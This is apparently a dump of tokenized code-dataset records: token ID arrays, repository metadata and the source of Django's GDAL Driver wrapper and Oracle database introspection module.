1685, 9656, 774, 8, 31969, 63, 4776, 63, 1208, 14, 1563, 36, 7178, 1685, 9656, 774, 12, 511, 14, 1746, 304, 819, 347, 636, 826, 721, 277, 12, 23352, 534, 27850, 735, 221, 327, 4287, 26, 3507, 29, 3197, 13, 354, 272, 511, 14, 1746, 855, 826, 721, 277, 12, 23352, 9, 272, 26989, 63, 4776, 63, 1208, 14, 1563, 36, 7178, 1685, 9656, 774, 855, 826, 721, 277, 12, 291, 423, 31969, 63, 2118, 63, 1238, 63, 2324, 9, 819, 347, 485, 31969, 63, 2118, 63, 1238, 63, 2324, 8, 277, 12, 586, 4534, 12, 586, 3628, 12, 586, 818, 12, 586, 4854, 12, 586, 8752, 63, 5260, 12, 586, 3878, 63, 3406, 12, 586, 10736, 534, 2767, 27707, 297, 586, 10361, 63, 2324, 29, 4411, 14, 12833, 12, 586, 19795, 29, 403, 12, 586, 1324, 63, 1897, 63, 5312, 281, 29, 403, 12, 586, 1101, 29, 403, 304, 272, 372, 26989, 63, 6676, 63, 17583, 423, 31969, 63, 6676, 63, 17583, 63, 1238, 63, 2324, 8, 267, 4534, 29, 3179, 12, 267, 3628, 29, 3512, 12, 267, 818, 29, 632, 12, 267, 4854, 29, 2993, 12, 267, 7798, 63, 4445, 63, 3406, 6034, 267, 26989, 63, 5642, 63, 5260, 29, 5642, 63, 5260, 12, 267, 26989, 63, 4445, 63, 3406, 29, 4445, 63, 3406, 12, 267, 26989, 63, 12290, 29, 12290, 12, 267, 26989, 63, 12312, 63, 2324, 29, 12312, 63, 2324, 12, 267, 26989, 63, 17953, 29, 17953, 12, 267, 1324, 63, 1897, 63, 5312, 281, 29, 1210, 63, 1897, 63, 5312, 281, 12, 267, 1101, 29, 888, 9, 421, 199, 3, 437, 805, 370, 24102, 530, 7798, 13, 1135, 11686, 4205, 12598, 2011, 2295, 14, 199, 318, 485, 6676, 63, 1135, 11686, 63, 2324, 8, 4445, 63, 3406, 12, 586, 1402, 63, 694, 29, 403, 12, 586, 1768, 63, 7430, 29, 17, 12, 586, 5401, 63, 2301, 29, 403, 12, 586, 10736, 534, 38, 7245, 297, 586, 1101, 29, 403, 12, 586, 6484, 281, 29, 403, 304, 523, 372, 26989, 63, 6676, 63, 17583, 14, 36, 7178, 10608, 26444, 15155, 8, 489, 1402, 63, 694, 29, 1238, 63, 694, 12, 489, 7798, 63, 4445, 63, 3406, 29, 4445, 63, 3406, 12, 489, 7798, 63, 12290, 29, 12290, 12, 489, 1768, 63, 7430, 29, 1302, 63, 7430, 12, 489, 5401, 63, 2301, 29, 3463, 63, 2301, 12, 489, 1324, 63, 1897, 63, 5312, 281, 29, 5312, 281, 12, 489, 1101, 29, 888, 9, 421, 199, 533, 12489, 5903, 15155, 13068, 281, 774, 8, 272, 7798, 63, 4776, 63, 1208, 14, 1563, 10608, 15155, 13068, 281, 774, 12, 511, 14, 1746, 304, 819, 347, 636, 826, 721, 277, 12, 23352, 534, 27850, 735, 221, 327, 4287, 26, 3507, 29, 3197, 13, 354, 272, 511, 14, 1746, 855, 826, 721, 277, 12, 23352, 9, 272, 7798, 63, 4776, 63, 1208, 14, 1563, 10608, 15155, 13068, 281, 774,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1, 1, 1, 1 ]
xiaolonginfo/decode-Django
Django-1.5.1/django/contrib/gis/gdal/driver.py
221
2469
# prerequisites imports from ctypes import c_void_p from django.contrib.gis.gdal.base import GDALBase from django.contrib.gis.gdal.error import OGRException from django.contrib.gis.gdal.prototypes import ds as capi from django.utils import six from django.utils.encoding import force_bytes # For more information, see the OGR C API source code: # http://www.gdal.org/ogr/ogr__api_8h.html # # The OGR_Dr_* routines are relevant here. class Driver(GDALBase): "Wraps an OGR Data Source Driver." # Case-insensitive aliases for OGR Drivers. _alias = {'esri' : 'ESRI Shapefile', 'shp' : 'ESRI Shapefile', 'shape' : 'ESRI Shapefile', 'tiger' : 'TIGER', 'tiger/line' : 'TIGER', } def __init__(self, dr_input): "Initializes an OGR driver on either a string or integer input." if isinstance(dr_input, six.string_types): # If a string name of the driver was passed in self._register() # Checking the alias dictionary (case-insensitive) to see if an alias # exists for the given driver. if dr_input.lower() in self._alias: name = self._alias[dr_input.lower()] else: name = dr_input # Attempting to get the OGR driver by the string name. dr = capi.get_driver_by_name(force_bytes(name)) elif isinstance(dr_input, int): self._register() dr = capi.get_driver(dr_input) elif isinstance(dr_input, c_void_p): dr = dr_input else: raise OGRException('Unrecognized input type for OGR Driver: %s' % str(type(dr_input))) # Making sure we get a valid pointer to the OGR Driver if not dr: raise OGRException('Could not initialize OGR Driver on input: %s' % str(dr_input)) self.ptr = dr def __str__(self): "Returns the string name of the OGR Driver." return capi.get_driver_name(self.ptr) def _register(self): "Attempts to register all the data source drivers." # Only register all if the driver count is 0 (or else all drivers # will be registered over and over again) if not self.driver_count: capi.register_all() # Driver properties @property def driver_count(self): "Returns the number of OGR data source drivers registered." return capi.get_driver_count()
gpl-2.0
[ 3, 876, 30140, 8925, 199, 504, 5577, 492, 286, 63, 1647, 63, 80, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 1095, 492, 15801, 1563, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 705, 492, 19746, 907, 16010, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 16141, 83, 492, 6364, 465, 13648, 199, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 2394, 199, 199, 3, 2104, 1655, 2556, 12, 1937, 314, 10904, 445, 3261, 1350, 1233, 26, 199, 3, 221, 1455, 921, 1544, 14, 11600, 14, 1308, 15, 14945, 15, 14945, 363, 1246, 63, 24, 72, 14, 1360, 199, 3, 199, 3, 710, 10904, 63, 21733, 15192, 14975, 787, 12082, 2348, 14, 199, 533, 19447, 8, 17835, 1563, 304, 272, 298, 55, 8146, 376, 10904, 3918, 5800, 19447, 2122, 339, 327, 12425, 13, 15851, 5481, 367, 10904, 19447, 83, 14, 272, 485, 3620, 275, 791, 397, 322, 7, 520, 283, 654, 6129, 16528, 493, 297, 1598, 283, 17299, 7, 520, 283, 654, 6129, 16528, 493, 297, 1598, 283, 1392, 7, 520, 283, 654, 6129, 16528, 493, 297, 1598, 283, 280, 836, 7, 520, 283, 52, 1277, 540, 297, 1598, 283, 280, 836, 15, 604, 7, 520, 283, 52, 1277, 540, 297, 1598, 789, 339, 347, 636, 826, 721, 277, 12, 16642, 63, 1210, 304, 267, 298, 23489, 376, 10904, 5253, 641, 1902, 282, 1059, 503, 3000, 1324, 2122, 398, 340, 1228, 8, 5012, 63, 1210, 12, 3816, 14, 875, 63, 1313, 304, 288, 327, 982, 282, 1059, 536, 402, 314, 5253, 1990, 3032, 315, 288, 291, 423, 2683, 342, 953, 327, 25109, 314, 5162, 2600, 334, 2546, 13, 15851, 9, 370, 1937, 340, 376, 5162, 288, 327, 221, 3495, 367, 314, 1627, 5253, 14, 288, 340, 16642, 63, 1210, 14, 2325, 342, 315, 291, 423, 3620, 26, 355, 536, 275, 291, 423, 3620, 59, 5012, 63, 1210, 14, 2325, 5106, 288, 587, 26, 355, 536, 275, 16642, 63, 1210, 953, 327, 17413, 1337, 370, 664, 314, 10904, 5253, 701, 314, 1059, 536, 14, 288, 16642, 275, 13648, 14, 362, 63, 3090, 63, 991, 63, 354, 8, 3990, 63, 2394, 8, 354, 430, 267, 916, 1228, 8, 5012, 63, 1210, 12, 1109, 304, 288, 291, 423, 2683, 342, 288, 16642, 275, 13648, 14, 362, 63, 3090, 8, 5012, 63, 1210, 9, 267, 916, 1228, 8, 5012, 63, 1210, 12, 286, 63, 1647, 63, 80, 304, 288, 16642, 275, 16642, 63, 1210, 267, 587, 26, 288, 746, 19746, 907, 16010, 360, 22517, 1324, 730, 367, 10904, 19447, 26, 450, 83, 7, 450, 620, 8, 466, 8, 5012, 63, 1210, 1724, 398, 327, 32269, 3238, 781, 664, 282, 1686, 7849, 370, 314, 10904, 19447, 267, 340, 440, 16642, 26, 288, 746, 19746, 907, 16010, 360, 6531, 440, 8265, 10904, 19447, 641, 1324, 26, 450, 83, 7, 450, 620, 8, 5012, 63, 1210, 430, 267, 291, 14, 4695, 275, 16642, 339, 347, 636, 495, 721, 277, 304, 267, 298, 3407, 314, 1059, 536, 402, 314, 10904, 19447, 2122, 267, 372, 13648, 14, 362, 63, 3090, 63, 354, 8, 277, 14, 4695, 9, 339, 347, 485, 2683, 8, 277, 304, 267, 298, 15322, 1086, 370, 2274, 1006, 314, 666, 1350, 19016, 2122, 267, 327, 5972, 2274, 1006, 340, 314, 5253, 2338, 365, 378, 334, 269, 587, 1006, 19016, 267, 327, 911, 506, 7264, 1806, 436, 1806, 4020, 9, 267, 340, 440, 291, 14, 3090, 63, 835, 26, 13648, 14, 2683, 63, 452, 342, 339, 327, 19447, 4382, 272, 768, 1829, 272, 347, 5253, 63, 835, 8, 277, 304, 267, 298, 3407, 314, 1329, 402, 10904, 666, 1350, 19016, 7264, 2122, 267, 372, 13648, 14, 362, 63, 3090, 63, 835, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 876, 30140, 8925, 199, 504, 5577, 492, 286, 63, 1647, 63, 80, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 1095, 492, 15801, 1563, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 705, 492, 19746, 907, 16010, 199, 504, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 16141, 83, 492, 6364, 465, 13648, 199, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 2394, 199, 199, 3, 2104, 1655, 2556, 12, 1937, 314, 10904, 445, 3261, 1350, 1233, 26, 199, 3, 221, 1455, 921, 1544, 14, 11600, 14, 1308, 15, 14945, 15, 14945, 363, 1246, 63, 24, 72, 14, 1360, 199, 3, 199, 3, 710, 10904, 63, 21733, 15192, 14975, 787, 12082, 2348, 14, 199, 533, 19447, 8, 17835, 1563, 304, 272, 298, 55, 8146, 376, 10904, 3918, 5800, 19447, 2122, 339, 327, 12425, 13, 15851, 5481, 367, 10904, 19447, 83, 14, 272, 485, 3620, 275, 791, 397, 322, 7, 520, 283, 654, 6129, 16528, 493, 297, 1598, 283, 17299, 7, 520, 283, 654, 6129, 16528, 493, 297, 1598, 283, 1392, 7, 520, 283, 654, 6129, 16528, 493, 297, 1598, 283, 280, 836, 7, 520, 283, 52, 1277, 540, 297, 1598, 283, 280, 836, 15, 604, 7, 520, 283, 52, 1277, 540, 297, 1598, 789, 339, 347, 636, 826, 721, 277, 12, 16642, 63, 1210, 304, 267, 298, 23489, 376, 10904, 5253, 641, 1902, 282, 1059, 503, 3000, 1324, 2122, 398, 340, 1228, 8, 5012, 63, 1210, 12, 3816, 14, 875, 63, 1313, 304, 288, 327, 982, 282, 1059, 536, 402, 314, 5253, 1990, 3032, 315, 288, 291, 423, 2683, 342, 953, 327, 25109, 314, 5162, 2600, 334, 2546, 13, 15851, 9, 370, 1937, 340, 376, 5162, 288, 327, 221, 3495, 367, 314, 1627, 5253, 14, 288, 340, 16642, 63, 1210, 14, 2325, 342, 315, 291, 423, 3620, 26, 355, 536, 275, 291, 423, 3620, 59, 5012, 63, 1210, 14, 2325, 5106, 288, 587, 26, 355, 536, 275, 16642, 63, 1210, 953, 327, 17413, 1337, 370, 664, 314, 10904, 5253, 701, 314, 1059, 536, 14, 288, 16642, 275, 13648, 14, 362, 63, 3090, 63, 991, 63, 354, 8, 3990, 63, 2394, 8, 354, 430, 267, 916, 1228, 8, 5012, 63, 1210, 12, 1109, 304, 288, 291, 423, 2683, 342, 288, 16642, 275, 13648, 14, 362, 63, 3090, 8, 5012, 63, 1210, 9, 267, 916, 1228, 8, 5012, 63, 1210, 12, 286, 63, 1647, 63, 80, 304, 288, 16642, 275, 16642, 63, 1210, 267, 587, 26, 288, 746, 19746, 907, 16010, 360, 22517, 1324, 730, 367, 10904, 19447, 26, 450, 83, 7, 450, 620, 8, 466, 8, 5012, 63, 1210, 1724, 398, 327, 32269, 3238, 781, 664, 282, 1686, 7849, 370, 314, 10904, 19447, 267, 340, 440, 16642, 26, 288, 746, 19746, 907, 16010, 360, 6531, 440, 8265, 10904, 19447, 641, 1324, 26, 450, 83, 7, 450, 620, 8, 5012, 63, 1210, 430, 267, 291, 14, 4695, 275, 16642, 339, 347, 636, 495, 721, 277, 304, 267, 298, 3407, 314, 1059, 536, 402, 314, 10904, 19447, 2122, 267, 372, 13648, 14, 362, 63, 3090, 63, 354, 8, 277, 14, 4695, 9, 339, 347, 485, 2683, 8, 277, 304, 267, 298, 15322, 1086, 370, 2274, 1006, 314, 666, 1350, 19016, 2122, 267, 327, 5972, 2274, 1006, 340, 314, 5253, 2338, 365, 378, 334, 269, 587, 1006, 19016, 267, 327, 911, 506, 7264, 1806, 436, 1806, 4020, 9, 267, 340, 440, 291, 14, 3090, 63, 835, 26, 13648, 14, 2683, 63, 452, 342, 339, 327, 19447, 4382, 272, 768, 1829, 272, 347, 5253, 63, 835, 8, 277, 304, 267, 298, 3407, 314, 1329, 402, 10904, 666, 1350, 19016, 7264, 2122, 267, 372, 13648, 14, 362, 63, 3090, 63, 835, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ytjiang/django
django/db/backends/oracle/introspection.py
517
11463
import cx_Oracle from django.db.backends.base.introspection import ( BaseDatabaseIntrospection, FieldInfo, TableInfo, ) from django.utils.encoding import force_text class DatabaseIntrospection(BaseDatabaseIntrospection): # Maps type objects to Django Field types. data_types_reverse = { cx_Oracle.BLOB: 'BinaryField', cx_Oracle.CLOB: 'TextField', cx_Oracle.DATETIME: 'DateField', cx_Oracle.FIXED_CHAR: 'CharField', cx_Oracle.NCLOB: 'TextField', cx_Oracle.NUMBER: 'DecimalField', cx_Oracle.STRING: 'CharField', cx_Oracle.TIMESTAMP: 'DateTimeField', } try: data_types_reverse[cx_Oracle.NATIVE_FLOAT] = 'FloatField' except AttributeError: pass try: data_types_reverse[cx_Oracle.UNICODE] = 'CharField' except AttributeError: pass cache_bust_counter = 1 def get_field_type(self, data_type, description): # If it's a NUMBER with scale == 0, consider it an IntegerField if data_type == cx_Oracle.NUMBER: precision, scale = description[4:6] if scale == 0: if precision > 11: return 'BigIntegerField' elif precision == 1: return 'BooleanField' else: return 'IntegerField' elif scale == -127: return 'FloatField' return super(DatabaseIntrospection, self).get_field_type(data_type, description) def get_table_list(self, cursor): """ Returns a list of table and view names in the current database. """ cursor.execute("SELECT TABLE_NAME, 't' FROM USER_TABLES UNION ALL " "SELECT VIEW_NAME, 'v' FROM USER_VIEWS") return [TableInfo(row[0].lower(), row[1]) for row in cursor.fetchall()] def get_table_description(self, cursor, table_name): "Returns a description of the table, with the DB-API cursor.description interface." self.cache_bust_counter += 1 cursor.execute("SELECT * FROM {} WHERE ROWNUM < 2 AND {} > 0".format( self.connection.ops.quote_name(table_name), self.cache_bust_counter)) description = [] for desc in cursor.description: name = force_text(desc[0]) # cx_Oracle always returns a 'str' on both Python 2 and 3 name = name % {} # cx_Oracle, for some reason, doubles percent signs. description.append(FieldInfo(*(name.lower(),) + desc[1:])) return description def table_name_converter(self, name): "Table name comparison is case insensitive under Oracle" return name.lower() def _name_to_index(self, cursor, table_name): """ Returns a dictionary of {field_name: field_index} for the given table. Indexes are 0-based. """ return {d[0]: i for i, d in enumerate(self.get_table_description(cursor, table_name))} def get_relations(self, cursor, table_name): """ Returns a dictionary of {field_name: (field_name_other_table, other_table)} representing all relationships to the given table. """ table_name = table_name.upper() cursor.execute(""" SELECT ta.column_name, tb.table_name, tb.column_name FROM user_constraints, USER_CONS_COLUMNS ca, USER_CONS_COLUMNS cb, user_tab_cols ta, user_tab_cols tb WHERE user_constraints.table_name = %s AND ta.table_name = user_constraints.table_name AND ta.column_name = ca.column_name AND ca.table_name = ta.table_name AND user_constraints.constraint_name = ca.constraint_name AND user_constraints.r_constraint_name = cb.constraint_name AND cb.table_name = tb.table_name AND cb.column_name = tb.column_name AND ca.position = cb.position""", [table_name]) relations = {} for row in cursor.fetchall(): relations[row[0].lower()] = (row[2].lower(), row[1].lower()) return relations def get_key_columns(self, cursor, table_name): cursor.execute(""" SELECT ccol.column_name, rcol.table_name AS referenced_table, rcol.column_name AS referenced_column FROM user_constraints c JOIN user_cons_columns ccol ON ccol.constraint_name = c.constraint_name JOIN user_cons_columns rcol ON rcol.constraint_name = c.r_constraint_name WHERE c.table_name = %s AND c.constraint_type = 'R'""", [table_name.upper()]) return [tuple(cell.lower() for cell in row) for row in cursor.fetchall()] def get_indexes(self, cursor, table_name): sql = """ SELECT LOWER(uic1.column_name) AS column_name, CASE user_constraints.constraint_type WHEN 'P' THEN 1 ELSE 0 END AS is_primary_key, CASE user_indexes.uniqueness WHEN 'UNIQUE' THEN 1 ELSE 0 END AS is_unique FROM user_constraints, user_indexes, user_ind_columns uic1 WHERE user_constraints.constraint_type (+) = 'P' AND user_constraints.index_name (+) = uic1.index_name AND user_indexes.uniqueness (+) = 'UNIQUE' AND user_indexes.index_name (+) = uic1.index_name AND uic1.table_name = UPPER(%s) AND uic1.column_position = 1 AND NOT EXISTS ( SELECT 1 FROM user_ind_columns uic2 WHERE uic2.index_name = uic1.index_name AND uic2.column_position = 2 ) """ cursor.execute(sql, [table_name]) indexes = {} for row in cursor.fetchall(): indexes[row[0]] = {'primary_key': bool(row[1]), 'unique': bool(row[2])} return indexes def get_constraints(self, cursor, table_name): """ Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns. """ constraints = {} # Loop over the constraints, getting PKs and uniques cursor.execute(""" SELECT user_constraints.constraint_name, LOWER(cols.column_name) AS column_name, CASE user_constraints.constraint_type WHEN 'P' THEN 1 ELSE 0 END AS is_primary_key, CASE user_indexes.uniqueness WHEN 'UNIQUE' THEN 1 ELSE 0 END AS is_unique, CASE user_constraints.constraint_type WHEN 'C' THEN 1 ELSE 0 END AS is_check_constraint FROM user_constraints INNER JOIN user_indexes ON user_indexes.index_name = user_constraints.index_name LEFT OUTER JOIN user_cons_columns cols ON user_constraints.constraint_name = cols.constraint_name WHERE ( user_constraints.constraint_type = 'P' OR user_constraints.constraint_type = 'U' ) AND user_constraints.table_name = UPPER(%s) ORDER BY cols.position """, [table_name]) for constraint, column, pk, unique, check in cursor.fetchall(): # If we're the first column, make the record if constraint not in constraints: constraints[constraint] = { "columns": [], "primary_key": pk, "unique": unique, "foreign_key": None, "check": check, "index": True, # All P and U come with index, see inner join above } # Record the details constraints[constraint]['columns'].append(column) # Check constraints cursor.execute(""" SELECT cons.constraint_name, LOWER(cols.column_name) AS column_name FROM user_constraints cons LEFT OUTER JOIN user_cons_columns cols ON cons.constraint_name = cols.constraint_name WHERE cons.constraint_type = 'C' AND cons.table_name = UPPER(%s) ORDER BY cols.position """, [table_name]) for constraint, column in cursor.fetchall(): # If we're the first column, make the record if constraint not in constraints: constraints[constraint] = { "columns": [], "primary_key": False, "unique": False, "foreign_key": None, "check": True, "index": False, } # Record the details constraints[constraint]['columns'].append(column) # Foreign key constraints cursor.execute(""" SELECT cons.constraint_name, LOWER(cols.column_name) AS column_name, LOWER(rcons.table_name), LOWER(rcols.column_name) FROM user_constraints cons INNER JOIN user_constraints rcons ON cons.r_constraint_name = rcons.constraint_name INNER JOIN user_cons_columns rcols ON rcols.constraint_name = rcons.constraint_name LEFT OUTER JOIN user_cons_columns cols ON cons.constraint_name = cols.constraint_name WHERE cons.constraint_type = 'R' AND cons.table_name = UPPER(%s) ORDER BY cols.position """, [table_name]) for constraint, column, other_table, other_column in cursor.fetchall(): # If we're the first column, make the record if constraint not in constraints: constraints[constraint] = { "columns": [], "primary_key": False, "unique": False, "foreign_key": (other_table, other_column), "check": False, "index": False, } # Record the details constraints[constraint]['columns'].append(column) # Now get indexes cursor.execute(""" SELECT index_name, LOWER(column_name) FROM user_ind_columns cols WHERE table_name = UPPER(%s) AND NOT EXISTS ( SELECT 1 FROM user_constraints cons WHERE cols.index_name = cons.index_name ) ORDER BY cols.column_position """, [table_name]) for constraint, column in cursor.fetchall(): # If we're the first column, make the record if constraint not in constraints: constraints[constraint] = { "columns": [], "primary_key": False, "unique": False, "foreign_key": None, "check": False, "index": True, } # Record the details constraints[constraint]['columns'].append(column) return constraints
bsd-3-clause
[ 646, 17280, 63, 21202, 199, 199, 504, 1639, 14, 697, 14, 7765, 14, 1095, 14, 21627, 492, 334, 272, 29103, 30516, 12, 5024, 2354, 12, 6957, 2354, 12, 199, 9, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 421, 199, 533, 8692, 30516, 8, 1563, 7243, 30516, 304, 272, 327, 23673, 730, 2251, 370, 5634, 5024, 2943, 14, 272, 666, 63, 1313, 63, 4471, 275, 469, 267, 17280, 63, 21202, 14, 26275, 26, 283, 6636, 792, 297, 267, 17280, 63, 21202, 14, 35, 9376, 26, 283, 6254, 297, 267, 17280, 63, 21202, 14, 12488, 26, 283, 14071, 297, 267, 17280, 63, 21202, 14, 23837, 63, 5901, 26, 283, 2183, 297, 267, 17280, 63, 21202, 14, 6389, 9376, 26, 283, 6254, 297, 267, 17280, 63, 21202, 14, 9190, 26, 283, 15975, 297, 267, 17280, 63, 21202, 14, 5353, 26, 283, 2183, 297, 267, 17280, 63, 21202, 14, 20277, 26, 283, 4626, 297, 272, 789, 339, 862, 26, 267, 666, 63, 1313, 63, 4471, 59, 11859, 63, 21202, 14, 46, 14277, 63, 11783, 61, 275, 283, 13019, 7, 272, 871, 4281, 26, 267, 986, 339, 862, 26, 267, 666, 63, 1313, 63, 4471, 59, 11859, 63, 21202, 14, 12819, 61, 275, 283, 2183, 7, 272, 871, 4281, 26, 267, 986, 339, 2581, 63, 15549, 63, 5337, 275, 413, 339, 347, 664, 63, 698, 63, 466, 8, 277, 12, 666, 63, 466, 12, 1369, 304, 267, 327, 982, 652, 1159, 282, 18122, 543, 4666, 508, 378, 12, 11201, 652, 376, 26141, 267, 340, 666, 63, 466, 508, 17280, 63, 21202, 14, 9190, 26, 288, 7151, 12, 4666, 275, 1369, 59, 20, 26, 22, 61, 288, 340, 4666, 508, 378, 26, 355, 340, 7151, 690, 4119, 26, 490, 372, 283, 25175, 7, 355, 916, 7151, 508, 413, 26, 490, 372, 283, 5036, 7, 355, 587, 26, 490, 372, 283, 3901, 7, 288, 916, 4666, 508, 446, 4195, 26, 355, 372, 283, 13019, 7, 398, 372, 1613, 8, 7243, 30516, 12, 291, 680, 362, 63, 698, 63, 466, 8, 576, 63, 466, 12, 1369, 9, 339, 347, 664, 63, 1224, 63, 513, 8, 277, 12, 3920, 304, 267, 408, 267, 1803, 282, 769, 402, 1817, 436, 2455, 1561, 315, 314, 1453, 3050, 14, 267, 408, 267, 3920, 14, 2526, 480, 4859, 9934, 63, 2339, 12, 283, 84, 7, 4442, 13044, 63, 10129, 11344, 6778, 1075, 11727, 298, 2432, 298, 4859, 30359, 63, 2339, 12, 283, 86, 7, 4442, 13044, 63, 54, 4332, 5035, 531, 267, 372, 359, 3186, 2354, 8, 1143, 59, 16, 1055, 2325, 1062, 1962, 59, 17, 566, 367, 1962, 315, 3920, 14, 10174, 5106, 339, 347, 664, 63, 1224, 63, 1802, 8, 277, 12, 3920, 12, 1817, 63, 354, 304, 267, 298, 3407, 282, 1369, 402, 314, 1817, 12, 543, 314, 6249, 13, 3735, 3920, 14, 